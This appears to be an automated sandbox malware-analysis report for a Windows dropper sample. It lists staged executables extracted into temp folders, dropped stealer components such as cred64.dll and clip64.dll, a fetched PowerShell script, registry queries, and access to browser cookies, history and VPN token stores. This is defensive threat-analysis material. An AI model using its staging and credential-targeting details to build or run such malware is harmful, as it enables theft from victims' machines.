00000000-00006668) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00003764)48:T75b,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "foto7447.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "x8060195.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "j0508220.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "exto_1_.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "g5335915.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "z0143525.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "kus.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "z3672075.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "x3683024.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "z9579752.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "x2709271.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "s2433534.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "r6085134.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "z8332048.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "q2544030.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "t9287723.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "legota.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "h7183381.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "i8781473.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "clip64_1_.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "k8567853.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "w7821698.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE49:T22e2,"foto7447.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000040051\foto7447.exe]- [targetUID: 00000000-00005548] "x8060195.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\x8060195.exe]- [targetUID: 00000000-00005548] "j0508220.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\j0508220.exe]- [targetUID: 00000000-00008132] "exto_1_.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- [targetUID: N/A] "g5335915.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\g5335915.exe]- [targetUID: 00000000-00004184] "z0143525.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\z0143525.exe]- [targetUID: 00000000-00007276] "kus.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000042051\kus.exe]- [targetUID: 00000000-00005480] "z3672075.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\z3672075.exe]- [targetUID: 00000000-00007228] "x3683024.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\x3683024.exe]- [targetUID: 00000000-00008132] "z9579752.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\z9579752.exe]- [targetUID: 00000000-00001620] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "x2709271.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\x2709271.exe]- [targetUID: 00000000-00007196] "s2433534.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\s2433534.exe]- [targetUID: 00000000-00001620] "r6085134.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\r6085134.exe]- [targetUID: 00000000-00001752] "z8332048.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\z8332048.exe]- [targetUID: 00000000-00001620] "q2544030.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\q2544030.exe]- [targetUID: 00000000-00001752] "t9287723.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\t9287723.exe]- [targetUID: 00000000-00002216] "legota.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\cb378487cf\legota.exe]- [targetUID: 00000000-00008052] "h7183381.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP004.TMP\h7183381.exe]- [targetUID: 00000000-00005900] "i8781473.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\i8781473.exe]- [targetUID: 00000000-00007196] "clip64_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "k8567853.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\k8567853.exe]- [targetUID: 00000000-00005548] "w7821698.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\w7821698.exe]- [targetUID: 00000000-00005848] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006644] "h7183381.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "cred64.dll" has type "HTML document ASCII text"- Location: [%APPDATA%\a091ec0a6e2227\cred64.dll]- [targetUID: 00000000-00008052] "cred64.dll" has type "HTML document ASCII text"- [targetUID: 00000000-00008052] "AppLaunch.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log]- [targetUID: 00000000-00001892] "1_1_.ps1" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006644] "8a7fe45f-5bd8-4386-bbc0-8cc87b14c051.tmp" has type "UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "Vpn Tokens" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Vpn Tokens]- [targetUID: 00000000-00007548] "f12bc1ab-7947-45f4-8b49-019dbcfab7bf.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\f12bc1ab-7947-45f4-8b49-019dbcfab7bf.tmp]- [targetUID: 00000000-00007548] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00006644] "~DF96EF092C60E4679A.TMP" has type "data"- Location: [%TEMP%\~DF96EF092C60E4679A.TMP]- [targetUID: 00000000-00003980] "~DF212548B38E180E7F.TMP" has type "data"- Location: [%TEMP%\~DF212548B38E180E7F.TMP]- [targetUID: 00000000-00003980] "sslkey.txt" has type "ASCII text"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00007876] "RecoveryStore._F599B59B-5E2D-11EE-9C2B-0800279A78F9_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_F599B59D-5E2D-11EE-9C2B-0800279A78F9_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\LOG]- [targetUID: 00000000-00007548] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension State\LOG]- [targetUID: 00000000-00007548] "settings.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat]- [targetUID: 00000000-00007548] "4375vtb45tv8225nv4285n2.txt" has type "ASCII text"- Location: [%TEMP%\4375vtb45tv8225nv4285n2.txt]- [targetUID: 00000000-00006352] "Variations" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Variations]- [targetUID: 00000000-00007548] "Last Version" has type "ASCII text with no line terminators"- [targetUID: N/A] "1cb4e633-403c-4901-a97b-aa195e8d1c98.tmp" has type "very short file (no magic)"- [targetUID: N/A] "foto7447_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "foto7447.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "exto.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\1000041051\exto.exe]- [targetUID: 00000000-00006964] "kus_1_.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- [targetUID: N/A] "explonde.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explonde.exe]- [targetUID: 00000000-00002216] "u0071771.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\u0071771.exe]- [targetUID: 00000000-00002448] "legota.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "explonde.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00008052] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\a091ec0a6e2227\clip64.dll]- [targetUID: 00000000-00008052] "1.ps1" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\1000043041\1.ps1]- [targetUID: 00000000-00006644]4a:T7aa,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")4b:Tf15,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "121D34FE68492C95FC0C07B5CF0BF2E05DEDE7756821260FE21DB7FECF431BAF.EXE"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")4c:T52d,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\AcLayers.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\mpr.dll" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to touch file "C:\Windows\SysWOW64\sfc.dll"4d:T8b6,"AppLaunch.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "AppLaunch.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "AppLaunch.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "AppLaunch.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "t9287723.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "t9287723.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "explonde.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "explonde.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\foto7447[1].exe" "explonde.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\exto[1].exe" "explonde.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\kus[1].exe" "explonde.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\1[1].ps1" "explonde.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\foto7447[1].exe" "explonde.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\exto[1].exe" "explonde.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\T1MM1X3A\kus[1].exe" "explonde.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\1[1].ps1" "explonde.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "legota.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "legota.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\clip64[1].dll" "legota.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\CatRoot" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\catroot2"4e:Td5a,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Z0143525.EXE" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\W7821698.EXE" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Z3672075.EXE" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\U0071771.EXE" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Z9579752.EXE" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\T9287723.EXE" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\CABINET.DLL" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\VERSION.DLL" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\FLTLIB.DLL" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Z8332048.EXE" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\S2433534.EXE" "z8332048.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"4f:T8b2,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\121D34FE68492C95FC0C07B5CF0BF2E05DEDE7756821260FE21DB7FECF431BAF.EXE.LOCAL" "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Z0143525.EXE.LOCAL" "z0143525.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Z3672075.EXE.LOCAL" "z3672075.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Z9579752.EXE.LOCAL" "z9579752.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "z8332048.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Z8332048.EXE.LOCAL" "z8332048.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\APPLAUNCH.EXE.LOG" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\NativeImages_v4.0.30319_32\HEALER" "AppLaunch.exe" trying to access non-existent file 